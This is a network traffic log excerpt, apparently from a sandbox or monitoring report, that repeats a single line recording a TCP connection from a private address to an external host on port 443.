Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
Source: global traffic	TCP traffic: 192.168.2.4:49741 -> 172.65.251.78:443
